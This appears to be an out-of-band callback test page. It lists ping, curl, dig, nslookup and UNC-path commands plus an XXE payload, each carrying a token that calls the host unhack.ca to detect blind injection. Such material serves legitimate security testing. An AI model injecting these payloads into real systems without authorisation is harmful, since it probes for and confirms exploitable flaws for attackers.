$ ping -c1 -p 00afde4ce25e55100ce9c6ef0c0c6c00 unhack.ca
 

$ curl http://unhack.ca/p/afde4ce25e55100ce9c6ef0c0c6c
 

$ dig afde4ce25e55100ce9c6ef0c0c6c @unhack.ca
 

$ dig afde4ce25e55100ce9c6ef0c0c6c.ns.unhack.ca
 

C:\> nslookup afde4ce25e55100ce9c6ef0c0c6c unhack.ca
 

C:\> type \\unhack.ca\afde4ce25e55100ce9c6ef0c0c6c\f.txt
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/afde4ce25e55100ce9c6ef0c0c6c">]>
    <foo>&xxe;</foo>